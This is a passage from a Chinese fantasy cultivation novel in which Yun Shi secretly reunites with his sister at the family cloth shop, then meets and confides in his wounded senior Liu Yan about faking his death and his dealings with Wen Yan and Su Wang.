终于,他们绕到了镇子西侧的后山。这里地势稍高,可以俯瞰大半个青石镇。镇子还是记忆中的模样,灰瓦白墙的屋舍错落聚集,几条主要街道纵横其间。时近傍晚,炊烟四起,笼罩着一层淡淡的蓝灰色雾霭。 云实的目光急切地搜索着,很快,他就找到了云锦记所在的那条街,看到了自家那间铺面。铺门开着,门口挂着深蓝色的布招子,在暮色寒风中轻轻飘动。铺面似乎比他离开时更整洁了些,檐下还挂了两盏崭新的防风灯笼。 他的呼吸屏住了,眼睛一眨不眨地盯着。 过了一会儿,一个熟悉的身影从铺子里走出来,是母亲。她手里端着个簸箕,走到门口,将里面的杂物倒在墙角的筐里,然后站在那里,用手捶了捶腰,朝着街口的方向望了一会儿。那身影似乎比记忆中瘦削了些,但动作依然利落。 云实的鼻子猛地一酸。 又过了一会儿,父亲也走了出来,手里拿着把扫帚,开始清扫店铺前的台阶。他的动作慢了些,但很稳。扫了几下,他直起身,和门口的周氏说了句什么,周氏摇摇头,笑了笑。那笑容里有些云实看不懂的、属于长辈的复杂内容,但看着却让人心里发堵。 他们没有停留太久,很快又回到了铺子里。铺门依旧开着,温暖的灯光从里面透出来,在渐暗的天色中,像一颗小而坚定的星。 云实就那么站着,一动不动,任凭山风吹得脸颊生疼,眼睛死死地盯着那一点灯光,仿佛要将这一幕刻进骨子里。 铺门前的灯笼光晕昏黄,勉强照亮门口一小片地。他没有看到父亲云天青。这个时辰,以父亲的伤病和精力,多半是在后堂静卧,或者最多在堂屋里坐着。门内柜台后那盏更亮些的油灯旁,只有一个人影——妹妹云舒。 她正低头对着一本厚厚的账簿,手里笔尖飞快移动。灯光将她专注的侧影投在身后的墙壁上,勾勒出与年龄不符的沉静轮廓。偶尔有伙计进出,低声向她请示,她头也不抬,简短地吩咐几句,手指在账册某处一点,便又埋头核对着什么。 母亲的身影从后面晃过了一下,手里端着药碗,走向后堂方向。她的背似乎比云实记忆中更佝偻了一些,步履也慢了许多。 弟弟云岭的窗户黑洞洞的,他早已在外为官,这个家于他已是驿站。 云实看着妹妹时而蹙眉凝神,时而快速书写,偶尔抬手揉一下眉心……那些细微的动作,像一根根细针,轻轻扎在他心口某个地方。他当初留下储物袋,说服父母让妹妹试着经营,是想给她多一个选择,一条可能更开阔的路,让她有机会展现自己的伶俐,而不是像他和父亲那样被铺子拴住一生。他看到妹妹坐在那里,熟练地应对着,眉宇间是他离家前未曾见过的笃定和专注,这说明她做得好,甚至可能乐在其中。 但是……这是一种带着亏欠的托付吗?他用一场“死亡”和远走,换来了家人的平安和店铺的存续,也把妹妹牢牢地锚定在了这方柜台之后,而他则在追寻那些连自己都未必看清的、遥远而危险的东西。 灯光下的云舒似乎感应到什么,忽然停下笔,抬头向门外漆黑的街道望来。目光没有焦点,只是茫然地扫过夜色。 云实却像被那目光烫到一样,猛地向后退了半步,躲进更深的阴影里,背脊紧紧抵住冰冷的树干。他大口喘着气,冰冷的风呛进喉咙,却压不住胸腔里那股翻涌的、复杂的情绪。 就在他几乎要转身逃离时,铺子门口的灯光晃了一下——云舒竟放下了笔,推开账簿,起身快步走了出来。她站在灯笼光晕的边缘,朝着黑暗的街道和后山方向仔细张望,脸上带着一丝疑惑和……确定。 “哥?”一声极轻、带着颤抖的呼唤,被寒风送了过来。 云实浑身一僵,血液都仿佛凝住了。他看到她竟真的朝着这个方向,试探地走了几步,离开了铺门灯光的安全范围,踏入了街边的阴影里。 不行!晚上外面不太平!她一个人怎么能往黑处追! 这个念头瞬间压倒了一切。云实几乎是本能地从树后阴影里跨了出来,压低声音急道:“别过来!站那儿别动!” 他声音不高,但在寂静的寒夜里足够清晰。 云舒的脚步猛地停住,整个人像被钉在原地。她瞪大了眼睛,难以置信地望着从山脚暗处浮现的那个模糊身影。尽管裹着旧披风,背着奇怪的家伙,身形气质也变了许多,但那轮廓,那声音…… 下一瞬,她用手死死捂住嘴,把一声哽咽硬生生堵了回去,眼泪却唰地涌了出来。她什么也顾不上了,拔腿就朝着云实的方向冲了过来,脚步有些踉跄。 云实怕她摔倒,也急忙迎上前几步。云舒一下子扎进他怀里,拳头攥紧,用力捶打了他肩膀两下,随即紧紧抓住他背后的衣服,把脸埋在他胸前,压抑的哭声终于漏了出来,闷闷的,带着巨大的委屈和后怕:“我就知道……我就知道你没死……你吓死我了……” 云实喉咙堵得厉害,手臂僵了片刻,才缓缓落下,轻轻环住妹妹颤抖的肩膀。他能感觉到她棉袄下瘦削的骨架,和那份强行压抑却依旧汹涌的情绪。他什么也没说,只是用力抱了抱她,然后警惕地环顾四周。 “别在这儿,先回去,到铺子后门。” 他半揽着云舒,快速退回“云锦记”侧面僻静的后巷,确保探测灵力不会扫进来。这里堆着些杂物,更隐蔽些。云舒紧紧抓着他的胳膊,好像怕一松手他又不见了。 站定后,云舒抬起泪痕斑驳的脸,借着远处微弱的天光,急切地打量他:“哥,你到底怎么回事?那些说你……还有天衡宗的告示……” “我还活着,但惹了大麻烦。”云实言简意赅,语气沉重,“现在外面很多人都以为我死了,这是好事。你记住,在爹娘面前,我就是一个已经‘没了’的儿子。绝对不能让他们知道我还活着,他们年纪大了,经不起这个,也守不住秘密,知道多了反而危险。明白吗?” 云舒咬着嘴唇,泪水又涌上来,但她用力点头,眼神变得坚韧:“我懂。那……二弟那边?” “岭儿在外为官,牵扯更多,心思也直,暂时也别告诉。非到万不得已,不要让他卷进来。”云实看着妹妹,“家里,现在只有你能知道。也……只能辛苦你了。” “我撑得住。”云舒抹了把眼泪,语气很快恢复了平日的干脆,只是还带着鼻音,“铺子好好的,爹娘身子也还稳当。哥,你到底……” 云实犹豫了一下,挑了些能说的告诉她:被迫卷入修士争斗,身不由己,如今被一些势力追寻,不得自由,但暂无性命之忧,也有……暂时可信的人暗中照应。至于苏妄、人造内丹、天劫骗局、流衍失踪这些骇人听闻的细节,他只是一语带过,说涉及修行界的隐秘争斗,知道太多对她没好处。 云舒听得心惊肉跳,但紧紧攥着他的手,没有打断。她敏锐地察觉到兄长隐瞒了很多,但她不追问,只是说:“那你现在怎么办?要去哪里?” “我还要去查一些事情,找一个人。”云实没有明说流衍,“不能久留。你切记,今晚见过我的事,烂在肚子里。平时该怎样还怎样,不要露出痕迹。” “嗯。”云舒重重点头。 云实略一沉吟,从自己贴身内袋中,小心取出路上随手买的玉片,边缘被摩挲得十分光滑。持有母片的人,向一定范围内持有子片的人单向传递极其简短的、类似心念的模糊信息,且极为耗神,无法对话,距离也有限。对于正经修士而言,这玩意儿简陋到可笑,但此刻却正合用。 他将子片放入云舒掌心。 “这个,你收好,贴身放着,别让任何人看见。”他低声快速解释,“这是个粗陋的响石。如果我有消息让你知道,我会通过它给你一个简单的信号。你可能会感觉到它微微发热,或者心里突然模糊地闪过一个我约定的念头,比如‘平安’,或者‘勿念’。但这只能我发给你,你没法回复,也千万别试图用任何方法回应它,明白吗?” 云舒惊讶地看着掌心那枚毫不起眼的小玉片,她能隐隐感觉到它与普通石头的不同,有一丝极其微弱的、与哥哥身上相似的气息。她不是修士,但经营店铺接触八方杂货,又长期摆弄那些储物袋,对这类“有灵性”的物品有种本能的敏锐。她紧紧握住玉片,重重点头:“我懂。就像……只能听的传声筒。哥,这个,你用起来会不会很难?对你有没有坏处?” “别担心,我自然用得动。”云实心中微暖,语气更缓了些,“记住,只有我主动联系你,你才需要理会它发出的任何感觉。平时就把它当成一块有点特别的石头,千万别向任何人提起,包括岭儿和爹娘。” “我晓得轻重。”云舒将玉片小心地藏回自己最贴身的内袋,轻轻拍了拍,抬头看他,眼里有泪光,但更多是坚定,“哥,你自己……一定要小心。家里有我。” 云实再次用力抱了抱妹妹瘦削却挺直的肩背,然后松开。 “快回去。记住,今晚没见过我。” 云舒却反手抓住他的手腕,力道不小。 “不行,哥。”她声音压得很低,却异常坚决,“你跟我来,不能在这儿站着。” 她不由分说,拉着云实,熟门熟路地绕到铺子后墙更偏僻的角落,那里堆着高高的柴垛,后面有个几乎被遗忘的、存放破损工具和旧物的窄小披厦。她轻轻挪开几捆柴,露出一个缝隙,示意云实进去。 里面漆黑,满是尘土和朽木的气味,但确实隐蔽,从外面绝对看不到。空间很小,两人几乎要挨着站。云舒摸索着,从某个角落摸出半截旧蜡烛,用火折子点亮。昏黄的光晕勉强照亮两人面对面咫尺之间的脸。 “这里安全,我以前……有时算账烦了,会躲进来清净一会儿。”云舒的声音在狭小空间里显得很轻,她抬起眼,目光仔仔细细地扫过云实的脸,仿佛要确认每一个细节,“哥,你瘦了,也……不一样了。” 她的手指微微动了动,似乎想碰碰他的脸,又忍住了。 “外面……不容易。”云实千言万语堵在胸口,最终只化为这一句。烛光下,妹妹眼底的担忧和未尽的话语如此清晰,让他无法再像刚才那样急着逃离。 “你……怎么样?真的撑得住?爹娘他们……” “爹的伤早好了,只是精神头不如从前,大多时候在后院侍弄那几盆花,或者看看闲书。娘身体还行,就是夜里睡不踏实,有时会坐着发呆。铺子里的事,他们基本不插手了,全交给我。”云舒语速平稳,像是在汇报,但眼神一直没离开云实,“我能行。账目、货源、伙计、还有……你留下的那些‘特别’的库存,我都理得顺。开始是难,现在好了。” 她特意强调了“特别库存”,指的是那些储物袋。云实心头一紧:“没人起疑吧?” “没有。我按你想的,只用在最关键、最费事的料子上,而且分开、混着用,借口是改进了库房和包装,还有我新建的假仓库。”云舒眼中闪过一丝与她年龄不符的精明,“镇上人只当云锦记的料子保管得格外好,价钱也公道,生意比以前还好些。” 云实点点头,妹妹的敏锐让他既放心又心疼。 “那东西简陋,只能用几次,而且只有我能发消息给你。不到万不得已,我不会用它。你平时就忘了它,千万别试图探究。” “我懂。”云舒应下,随即又问,“哥,你现在到底在哪儿?做什么?追你的人……很厉害吗?是天衡宗那些告示上说的吗?” 她的问题一个接一个,透着压抑不住的关切和焦虑。 云实沉默了片刻,选择性地告诉她一部分:自己在为一位身份特殊、暂时可信的人做事,借此躲避追查,同时也在暗中调查一些事情,涉及修行界的隐秘,牵扯很大,所以必须隐姓埋名。他略去了苏妄、温言、流衍的具体姓名和惊心动魄的细节,只说处境虽险,但暂无性命之忧,也有自保之力。 云舒听得很认真,没有打断,只是听到“牵扯很大”“处境虽险”时,手指无意识地攥紧了衣角。她知道兄长隐瞒了很多,但那些隐瞒本身,就说明了危险的程度。 “那你这次回来,是专门来看我们?”她问。 “是,也不全是。”云实看着跳动的烛火,“我在找一个朋友,他不见了,可能……和我有关。路过附近,实在忍不住,就……” 他没说完,但云舒懂了。 “哥,”云舒忽然向前倾了倾身,烛光在她眼中晃动,“不管你在做什么,查什么,你要答应我,一定要活着。”她的声音带上了一丝哽咽,但立刻又压了下去,“家里现在有我,你不用挂念。但你要好好的,哪怕……哪怕一直不回来,也要让我知道你还好好活着。” 她紧紧盯着他,等着一个承诺。 云实喉结滚动,重重点头:“我答应你。我会小心。你也是,照顾好自己。” 两人又低声说了些话。云舒讲了些铺子里的趣事,爹娘偶尔的念叨;云实则叮嘱她注意身体,别太劳累,遇事多思量。狭小披厦里的时间仿佛被拉长了,又流逝得飞快。蜡烛渐渐烧短,烛泪堆积。 外面传来隐约的更梆声,已是后半夜。风似乎更紧了,穿过缝隙,发出细微的呜咽。 云实知道必须走了。他再次检查了一下那枚母片信物,确认无误。 “我该走了。你记住我们约好的。” 云舒的眼圈又红了,但她强忍着,把手里一直攥着的一个小布包塞给云实:“里面是几块你以前爱吃的芝麻糖,我前几天刚做的。还有……一点碎银子,你路上用。” 东西不多,却是她能立刻拿出的所有心意。 云实没有推辞,接过布包,紧紧握了握妹妹的手。 “保重。” 他吹熄蜡烛,轻轻挪开柴垛,侧身出去,迅速融入浓重的夜色里,没有回头。 云舒留在原地,在彻底的黑暗中,听着风声和远处隐约的狗吠,紧紧握住了怀中那枚微温的玉片。许久,她才悄无声息地收拾好痕迹,退回铺子,仿佛从未离开。只是这一夜,后院的灯光,亮了很久很久。 予其实并没在原地干等。 他看着云实那副魂不守舍、仿佛要融化在夜色里望着家门灯火的样子,就知道这人一时半会儿缓不过来,估计还得难受上好一阵。他自己也又冷又饿,干站着喝风实在不划算。于是她悄悄退开,凭着之前路过时的记忆,熟门熟路地潜回青石镇边缘,找到一家这个时辰还亮着灯、专门做夜行脚夫和更夫生意的简陋食摊,摸出几个铜板,买了两大个热腾腾、油纸包着的肉包子,又灌了一皮囊热滚滚的粗茶。摊主睡眼惺忪,也没多问。 等他揣着热乎的吃食悄悄回到后山约定的碰头地点时,正好看见云实从那片藏身的树林边缘走出来,脚步比去时更沉,背影像被夜色浸透了的石头。 予没立刻出声,等他走近了,才从藏身的石头后晃出来,把手里的油纸包递过去一个:“喏,垫垫。镇子边买的,味道还凑合。” 云实愣了一下,接过油纸包,隔着粗纸感受到扎实的热量和油脂香气,这才后知后觉感到胃里空得发慌。他低声道了句谢,掰开包子,闷头咬了一口。咸香的肉馅和松软的面皮在冰冷的口腔里化开,带来一种近乎陌生的、属于活人的踏实感。 予自己也靠着石头吃起来,吃相豪迈,三两下就解决了一个,又灌了几口热茶,舒服地叹了口气。他用袖子抹了抹嘴,这才看向已经吃完、正默默望着远处镇子零星灯火出神的云实,轻声问:“……嗯。” 云实从喉间应了一声,手指无意识地摩挲着腰间,那里贴身放着妹妹给的小布包,和那枚作为母片的粗砺玉片。冰凉的玉片似乎还残留着一丝来自妹妹掌心的微温,以及那沉重而隐秘的联系。 “给了她一个简陋的信物,只能我单向传点模糊讯息。让她……至少有个念想,万一……” 他没说下去。予也没追问细节,只是点点头:“安排好了就行。那你现在,心里能踏实点往前走了?” 云实沉默了片刻。回家这一趟,亲眼见到妹妹的成长和坚韧,亲手留下一条极其脆弱的联系线,那股烧心的焦灼和愧疚似乎被抚平了一丝,但随之而来的,是更清晰的责任感和必须活下去、必须把事情弄明白的决心。不能再漫无目的地乱撞了。 “能。”他抬起头,望向北方沉沉的夜空,眼神比之前坚定了些许,“接下来,去查那个土地庙。” 予把最后一口茶喝完,利落地收好皮囊:“走。” 两人不再留恋,转身,沿着来时的路,朝着镇北河滩方向,重新没入更深的黑暗与寒风之中。 22. 【十九】 天衡宗外围,天蕴安排的临时居所是一处僻静山谷里的独立小院,原本是给来访的低阶客卿或匠师暂住的,简朴但清净。予在陪云实回到附近后,忽然接到一道来自纸鸢的紧急传讯符。讯息很简短,只说天衡宗内似乎出了点意想不到的岔子,具体情况不明,但纸鸢此刻正和天蕴在一起应对,局面有些微妙,需要予立刻赶回天蕴身边,或许有些外间跑腿或联络的事需要他办。予有些犹豫,看向云实。 云实听说是天蕴和纸鸢那边的事,且涉及天衡宗内部,心知恐怕不简单。他如今身份尴尬,不便直接掺和,但予去帮忙是合适的。他便对予点点头:“你快去吧,天蕴师姐和纸鸢那边更需要人手。我这边自己小心就是。” 予见云实坚持,也不再耽搁,他便匆匆御剑,朝着天衡宗山门方向疾驰而去。 小院一下子彻底空了。只有山风吹过竹林的沙沙声,和远处隐约的宗门钟鸣。 云实站在院子中央,那股熟悉的、令人窒息的茫然感又弥漫上来。流衍失踪的线索断了,兜兜转转又回到原点,像个无头苍蝇。接下来该干什么?继续像个幽魂一样在外围游荡?还是硬着头皮回天衡宗内,去面对那些或探究或冷漠的目光,继续以“匠师”身份等待可能永远等不到的线索? 他不知道。那种脚踩不到实地的虚浮感又回来了,甚至比在温府小院里时更甚。至少那时还有明确的目标和温言的庇护。现在呢?目标模糊不清,同伴离散,自己像个被遗忘的棋子,搁在这荒僻的角落里。 他走进简陋的屋舍,和衣躺下,却毫无睡意。眼睛盯着屋顶的椽子,脑子里各种念头乱糟糟地翻腾,最后又变成一片空白。 夜深了。 就在他意识有些模糊,似睡非睡之际,院门外极其轻微地“嗒”了一声。像是松动的石子被衣角刮到,又像是什么东西轻轻蹭过了门板。 云实瞬间惊醒,屏住呼吸。门口确实有极其轻微的、不属于风声的窸窣。 他没有点灯,悄无声息地翻身下地,体内灵力悄然流转。是谁?天蕴师姐有事派人来?还是……他不敢细想,轻轻挪到门边。 就在他准备侧耳细听时—— 门扉被猛地从外推开一道缝,一道黑影如鬼魅般抢入!动作快得有些踉跄,却带着一股决绝。一只冰凉的手带着难以形容的、混杂着汗湿、尘土和淡淡血腥气的气味,猛地捂向他的口鼻! 绑架!偷袭! 云实脑中警铃大作,恐惧与怒意瞬间炸开。他不及细想,身体本能地做出了反应。被捂住的口中发出闷吼,未被制住的左手肘部灌注灵力,狠狠向后顶向对方肋下!同时脚下发力,腰身一拧,试图挣脱钳制。 身后那人似乎没料到他反应如此激烈迅猛,闷哼一声,捂嘴的手松了一瞬。云实抓住这电光石火的空隙,右臂屈起,一记沉重的后肘击再次砸向对方胸腹!这一下结结实实,他感觉到身后躯体剧震,钳制他的力道骤然松懈。 云实趁机彻底挣脱,旋身,几乎在同时,灌注了乱力的拳头已挟着风声挥出,直取对方面门!这一拳毫无保留,是他在危机下爆发的全力。 “砰!” 一声闷响,伴随着骨骼皮肉碰撞的声音。黑影应声向后跌去,重重撞在门板上,又滑坐到地上,发出一连串痛苦的呛咳和吸气声,仿佛连呼吸都被打断了。 云实急促喘息着,摆开戒备的姿势,在昏暗的光线下死死盯着地上蜷缩的人影。直到这时,狂跳的心脏和飙升的肾上腺素才略微平复,让他有余力去辨认。 那人穿着深色的、沾满尘土和草叶的衣袍,料子似乎不差,但此刻皱巴巴、脏污不堪。头发散乱,遮住了脸。他捂着腹部,咳得撕心裂肺,肩膀剧烈颤抖,周身灵力波动极其混乱微弱,但……那轮廓,那咳嗽时下意识挺直却又因疼痛佝偻起的脊背线条…… 云实心中的暴戾和警惕陡然一空,取而代之的是一种近乎惊骇的冰冷预感。他上前一步,蹲下身,带着不敢置信的颤抖,伸手拨开了对方覆面的乱发。 月光透过门缝,照亮了一张苍白如纸、布满细汗和污迹的脸。嘴角有新渗出的血丝,眉头因剧痛紧锁,眼睫颤抖着,但那双正艰难抬起的眼睛…… 即使染着痛楚、疲惫和深重的阴霾,即使境遇天差地别,云实也绝不会认错。 “……流衍师兄?” 他声音干涩,如同砂纸摩擦。 云实半跪在地上,手还僵在半空,看着流衍那双盛满痛楚、惊疑和某种更深沉灼热情绪的眼睛,一时竟不知该说什么。 “师兄,是我,我是云实……” “住口!”流衍猛地挥开他欲搀扶的手,动作牵扯到伤处,让他又是一阵呛咳,血丝从指缝渗出,可他的眼神却亮得骇人,死死钉在云实脸上,像是要烧穿他的皮肉看清内里。“你是什么东西?幻象?傀儡?还是哪个腌臜货色披了他的皮?”他的声音嘶哑破碎,却字字淬着冰与火,“云实已经死了……我亲眼……不,我确认过……他死了!死得干干净净!” “师兄,你看看我……”云实心急如焚,试图靠近,却又怕刺激到他,“我没死,是温言救了我,后来发生了很多事,我……” “别用这张脸跟我说话!”流衍厉声打断,他挣扎着想站起来,却因伤势和情绪剧烈波动再次跌坐,只能仰着头,用那种近乎仇恨又掺杂无尽痛楚的目光切割着云实。 “你知道这张脸……对我来说意味着什么吗?”他忽然低笑起来,笑声却比哭还难听,“在他走之后……不,在他死之后,我才想明白,我才敢承认……我有多看重他,多……放不下他。” 他喘息着,每一个字都像是从肺腑里硬抠出来的,带着血淋淋的温度:“可现在,你顶着这张脸,这副模样,出现在我面前……你是在作践他,也是在凌迟我。拿走你的幻术!变回你本来恶心的样子!” “师兄,这不是幻术!”云实又急又痛,他忽然抓住流衍的手,不顾对方的挣扎,用力按在自己脸颊上,“你摸摸看,是温的,是活的!” 流衍的手指触电般一颤,却没有立刻收回。他的目光死死锁住云实近在咫尺的眼睛,那里面盛满的焦急、真诚、还有深埋的委屈,是如此熟悉……熟悉到让他坚固的认知壁垒开始产生裂痕,带来更剧烈的恐慌。 “就算……就算你没死,”流衍的声音低了下去,带着绝望的挣扎,“也可以伪造……我知道的事情,别人也可能探知……” “那你知道苏妄对我做过什么吗?”云实的声音骤然压低,带着一丝难以启齿的颤抖,眼神却锐利起来,“第一个知道的是纸鸢,第二个知道的,就是你,流衍师兄。我亲口告诉你的,你来找我,问我身上发生了什么。我当时……没法说得太清楚,但你懂了,你当时的眼神,我忘不了。这事,除了我、纸鸢,就只有你。苏妄自己不会说,纸鸢更不会到处讲。还有谁会知道?” 云实不等他缓过来,继续道,语气低缓却清晰:“还有,我给天蕴师姐补衣服。她练功服破了,我接了这活儿。你知道这件事,你知道我接了这活儿,知道我在做这个。这不是什么宗门事务,没人会特意记录一个杂役给内门师姐补了件衣服。” 流衍的手指无意识地蜷缩起来,抵在云实的脸颊边,微微发抖。 “最后,”云实的嗓音更哑了,带着一种豁出去的平静,“在宗门的时候,我一直卡住,死活突破不了。你问过我一次,不止一次。你问我,我没法回答你,因为我也不知道。但这件事,你留意到了。你留意到了一个最末流的修为停滞。这不是功法细节,不是修炼秘辛,这只是……你注意到了‘我’这个人,卡住了。” 他顿了顿,看着流衍眼中那层坚冰彻底崩碎,露出底下翻涌的、近乎狼狈的震动。 “这三件事,流衍师兄。苏妄的事,补衣服的事,我突破不了的事。每一件都微不足道,每一件都上不了台面,每一件都只有你知,我知。纸鸢或许知道第一件的一部分,天蕴师姐知道第二件的结果,但能把这三件事串起来,知道它们对我、对我们之间意味着什么的人……除了站在你面前的这个云实,还能有谁?” 流衍彻底僵住了。他像是被抽走了所有力气,他怔怔地看着云实,眼底那片坚冰般的否认和愤怒,寸寸碎裂,露出底下深不见底的、脆弱的迷茫和……更汹涌的痛苦。这些事,太私密,太具体,太指向他们之间那些沉默的关注和未曾言明的交集。任何外部的探查、幻象的编织,都无法还原这种只有当事人才能体会的、带着温度与重量的细节。 “你……你真的……”他嘴唇翕动,却发不出完整的声音。确认对方就是真人的冲击,如同决堤的洪水,冲垮了他用“死亡”构筑的所有心理防线。那个他以为已经失去、并因此被迫看清自己内心的人,此刻活生生地回来了。这意味着他那迟来的、浸满悔恨与痛苦的情感,失去了“悼亡”这层安全的距离,必须直面眼前这个真实的存在。 “我没死,师兄。”云实的声音也哑了,他保持着半跪的姿势,不敢再贸然靠近,只是深深地看着流衍,“我回来了。虽然……样子可能有点变,经历的事也一言难尽,但我真的是云实。” 流衍闭上了眼睛,长长的睫毛剧烈颤抖着,在苍白的脸上投下脆弱的阴影。良久,他才极轻、极缓地吐出一句话,仿佛用尽了残余的气力:“他死了……对我来说,他早就死了。带着我那些没来得及、也没资格说出口的心思,一起死了。” 他睁开眼,看向云实,那目光依旧复杂难辨,却少了之前的凌厉恨意,只剩下深重的疲惫和一种近乎自弃的平静:“你现在回来……叫我怎么面对这张脸?又叫我怎么……面对我自己?” 长久的沉默。 云实依然半跪着,看着他,声音干涩:“师兄,对不起。” 流衍闭着眼,没有回应,仿佛沉浸在自己的痛苦里。 “我不知道……你会这么想。”云实艰难地组织着语言,“我以为……我死了,对所有人,包括对你,都是一种……了结和清净。” 他想起自己“死”前的种种,那些算计、不甘、挣扎,以及最后决定接受温言庇护时的如释重负和更深的不安。 “我没想过,会有人因为我的‘死’而……” 而怎样?而看清心意?而背负悔恨?云实说不下去。这对于自己来说,太过沉重,也太陌生了。 “不是你的错。”流衍忽然开口,声音低哑,依旧闭着眼,“是我自己……太迟钝,也太自以为是。总觉得时间还长,总觉得有些事……不必急,或者,不该有。”他嘴角勾起一丝极淡的、自嘲的弧度,“等你不见了,才知道有些东西,抓不住就是一辈子。” 流衍睁眼看着他,目光从他脸上寸寸移过,像是第一次真正地、努力地去重新认识这个人。不再是记忆中那个带着泥土气息、眼神里有不甘却更多是认命的杂役少年,也不是后来那个身怀诡异内丹、被师尊破例收下却格格不入的记名弟子。眼前的云实,轮廓更加瘦削锋利,皮肤被风霜磨砺得粗糙,那双总是低垂或闪躲的眼睛里,沉淀下了一种挥之不去的阴郁。 这变化太大了。大到让他心惊,也让他心脏像是被一只无形的手紧紧攥住,泛起细密而持久的疼痛。这些年,他到底经历了什么? “你……”流衍的声音依旧沙哑,却带上了一种前所未有的、近乎急切的探询,“你是怎么……活下来的?温言救了你之后呢?你去了哪里?这身修为……”他的目光落在云实按在柴斧上的手,那手上还有新鲜的擦伤和旧茧,指节因为用力而微微泛白,“还有你体内的气息……你跟苏妄,还有联系?” 云实被这一连串的问题问得怔了怔。他没想到流衍会如此直接,如此急切。但看着对方苍白脸上毫不作伪的关切,那层因为重逢尴尬和对方情感冲击而竖起的隔阂,似乎悄然松动了一些。他沉默了片刻,似乎在组织语言,从何说起。 “温言……确实救了我。”他缓缓开口,声音低沉,开始回溯那段并不久远却恍如隔世的经历,“在荒谷,我被三个训练有素的人袭击,腿断了。温言大人路过,出手解决了他们,给我治了伤,告诉我天衡宗发了缉令。他给了我一线求助的可能,然后离开了。我带着伤,躲到了北地一个叫白石坳的废弃村子。” “在白石坳,我被村民收留。纸鸢和天蕴师姐后来找了过来。”云实继续道,提及纸鸢时,语气里有一丝不易察觉的温暖,“天蕴师姐帮我稳住了伤势,然后因为宗门有事离开了。纸鸢留下来照顾我。”他顿了顿,“那时候,我几乎走投无路,伤重,被通缉,修为低微。我……想起了苏妄。” “不是想找他帮忙,”云实似乎知道流衍在想什么,解释道,“是想起他曾经随口提过,最低级的储物袋,制作原理其实不复杂,关键在于用引导纹路把凡人散乱的生机聚焦,当成‘钥匙’。”他眼中闪过一丝回忆的光,“我是卖布料的,对材料、纹路天生敏感。当时濒临绝境,就……就试着用能找到的最廉价材料,疯狂试验,想做出凡人也能用的、哪怕是一次性的储物袋。” “我失败了无数次,”云实的声音很平静,仿佛在说别人的事,“但最后,居然真的成了。虽然粗糙,只能维持很短时间,空间也小得可怜,但确实能用。我把改良的织布方法和这粗浅的原理有限地教给了白石坳的村民,他们织出的坳子布质优价廉,很快打开了销路,村子也慢慢富起来。我用赚来的钱,买了最基础的修行资料,一边养伤,一边摸索自己体内的灵力。” “就在我以为能暂时安稳下来的时候,坳子布引来了玄戈城镇北侯府的注意。”云实语气转沉,“为了不连累村子,纸鸢提出把生意明面接入她家的‘纸云坊’,由她出面周旋。她……很厉害,早就实际执掌了家业。她安排好一切,然后先离开了。” “我离开了白石坳,决定往帝国中央走,觉得那里或许有机会弄清一些事情。路上为了躲避追捕和攒盘缠,接些零活,直到……再次遇到温言大人。” 流衍听到这里,插了一句:“他主动找上的你?” “算是偶遇,也可能不是纯粹的巧合。”云实没有深究,“他知道我的处境,提出护送我去京城,并帮我打听‘洗白’的门路,作为交换,他想知道我掌握的信息,特别是关于苏妄的。他说……他对异数有兴趣。”云实复述了温言当时的话,“我同意了。路上,我们还遇到了荒村山魈案……” 他详细讲述了荒村的发现,被篡改的官制驭兽环,指向黑市“影市”和疤脸匠师的玉简,以及温言上报后却被以“古法传承纠纷”理由搁置的阻力。流衍听得面色越来越凝重,这与他自己追查的方向不谋而合,甚至提供了更具体的线索。 “到了京城,温言大人把我安置在他府里,一个很安全也很封闭的小院。”云实的语气变得有些复杂,“他开始运作,想把我定性为‘受害者’和‘特殊人才’,转为由他监管的‘协查人员’。但……阻力很大。上面并不是不信证据,而是……不能容忍我可能触及的、关于‘天劫骗局’的言论。体系本能地要清除这种‘不稳定因素’。” “我在温府住了很久,安全,但修为停滞,感觉自己像棵离了水土的野草,在慢慢枯萎。”云实的声音低了下去,“后来,温言深夜来找我,我们谈了一次。我告诉他我的感受,他说会想别的办法。也就在那时,苏妄……又出现了。” “他看穿了我的困境,提出了一个……交易。”云实的声音变得艰涩,那些刻意遗忘的细节再次翻涌,“用‘陪宿一夜’,换取他部分‘序乱’修为的灌注,通过一种特制的高级人造内丹。他说这是‘投资’和‘观察’,想知道我这个‘变数’获得力量后会怎么选。他还说……体系怕的是‘不需要许可的通道’。” “你答应了?”流衍的声音很轻,却带着一丝不易察觉的颤音。他几乎能想象云实当时面临的绝望和诱惑。 “……嗯。”云实承认,没有回避,“我太想打破僵局了。那晚……很痛苦,不只是身体上。” 他省略了具体的细节,但流衍能从他瞬间苍白的脸色和骤然晦暗的眼神中窥见一二。 “之后,我渡劫了,不是普通的雷火劫,是‘问心劫’。我在劫里……看到了很多,关于你,关于纸鸢,关于天蕴师姐,关于白石坳的村民,也关于……苏妄。渡劫后,异丹和外来内丹融合得更稳,我算是正式踏入了锚定期,心境也变了。” “之后,我萌生了一个念头,想给温言做件衣服。”云实的话题忽然一转,流衍有些意外,但没打断,只是静静听着。 “一开始做不好,总想什么才配得上他。后来……想起假死计划里用过的那具尸体,心里很难受。为了转移心思,也好像是为了补偿什么,我开始自学医理经络,然后……灵光一闪,想给他做一件融合了多功能引导纹路的法衣。” 他的描述变得细致起来,讲到如何结合储物袋原理、经络知识、自身对“力”的引导理解,用半年时间,耗尽心血和积蓄,以极致刺绣工艺在内衬绣出复杂阵列,实现了灵力梳理、心神宁定、微量储能、危机感知与偏转防御等多重功效,外观却仅似一件优雅常服。 “温言收到衣服时……很震撼。”云实说到这里,眼中终于有了一点微弱的光彩,“他说要带我回家,留在身边。后来,在回京路上,我们遇到了纸鸢和予,四人一起同行了一段,那段时间……很开心。” “再后来,就是温言想正式收养我入温家族谱,带我接触朝廷‘研备司’,想为我的‘织理’技艺正名。”云实语气又沉了下去,“但我感觉……他待我,更像是……对待一个需要严格管教、但又忍不住纵容几分的晚辈。” 云实说完这个比喻,自己也觉得难堪,下意识地垂下了视线。 流衍心中那股一直压抑着的、混杂着担忧与某种更晦暗情绪的疑虑,骤然尖锐起来。云实的描述太含糊,太……避重就轻。经历过苏妄那种交易,云实对某些界限的认知或许早已模糊,而他面对温言那种复杂的依赖和感激,更容易混淆。 “云实。”流衍的声音忽然变得很低,却带着一种不容回避的力度,甚至隐隐发颤,他目光灼灼,像是要烧穿云实试图维持的体面,“看着我。” 云实心头一紧,被迫抬起眼,对上流衍那双此刻翻涌着激烈情绪的眼睛——那里面的冷静自持早已碎裂,只剩下深不见底的痛楚、焦灼,和一种近乎偏执的探究。 